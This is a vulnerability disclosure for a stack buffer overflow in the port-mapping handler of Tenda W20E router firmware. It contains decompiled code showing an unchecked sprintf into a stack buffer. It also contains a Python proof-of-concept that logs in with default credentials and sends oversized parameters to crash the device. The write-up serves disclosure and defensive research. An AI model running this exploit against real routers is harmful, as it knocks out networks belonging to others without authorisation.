# * Tenda W20E stack vulnerability

## * Version

V15.11.0.6 (US_W20EV4.0br_V15.11.0.6(1068_1546_841)_CN_TDC)

## * Firmware

https://www.tenda.com.cn/download/detail-2707.html

## * Vulnerability Detail

In function formSetPortMapping, the content obtained by the program from the parameter "portMappingServer", "portMappingProtocol", "portMappingWan", "porMappingtInternal" and "portMappingExternal" are passed to pcVar1, pcVar3, pcVar4, pcVar5, and pcVar6, and then the pcVar1, pcVar3, pcVar4, pcVar5, and pcVar6 are directly copied into the sMibValue stack through the sprintf function. There is no size check, so there is a stack overflow vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

```
void formSetPortMapping(webs_t wp,char_t *path,char_t *query)

{
```

```
  char *pcVar1;
  int iVar2;
  char *pcVar3;
  char *pcVar4;
  char *pcVar5;
  char *pcVar6;
  int iVar7;
  char sNetctlParm [32];
  char sMibName [32];
  char sMibValue [256];
  char_t *pWanPortRange;
  char_t *pLanPortRange;
  char_t *pWanid;
  char_t *pProtocl;
  char_t *pLanIP;
  char_t *pPortMapIndex;
  int iListNum;
  int iPortMapIndex;

  memset(sMibValue,0,0x100);

  pcVar1 = websGetVar(wp,"portMappingIndex","");
  iVar2 = atoi(pcVar1);
  if (iVar2 + 1 < 0x15) {
    pcVar1 = websGetVar(wp,"portMappingServer","");
    pcVar3 = websGetVar(wp,"portMappingProtocol","");
    pcVar4 = websGetVar(wp,"portMappingWan","");
    pcVar5 = websGetVar(wp,"porMappingtInternal","");
    pcVar6 = websGetVar(wp,"portMappingExternal","");
    sprintf(sMibValue,"%s;%s;%s;%s;%s;%d",pcVar4,pcVar6,pcVar5,pcVar1,pcVar3,1); //h
    sprintf(sMibName,"adv.virtualser.list%d",iVar2 + 1);
    SetValue(sMibName,sMibValue);
    GetValue("adv.virtualser.listnum",sMibValue);
    iVar7 = atoi(sMibValue);
    log_debug_print("formSetPortMapping",0x52,2,0x41,"index = %d, listnum = %d",iVar
  ...
}
```

## * POC

```
import requests

cmd  = b'portMappingIndex=5&portMappingServer=' + b'A' * 400
cmd += b'&portMappingProtocol='+ b'A' * 400
cmd += b'&portMappingWan='+ b'A' * 400
cmd += b'&porMappingtInternal=' + b'A' * 400
```

```
cmd += b'&portMappingExterna=' + b'A' * 400


url = b"http://192.168.2.2/login/Auth"
payload = b"http://192.168.2.2/goform/setPortMapping/?" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
    print(resp.content)

attack()
```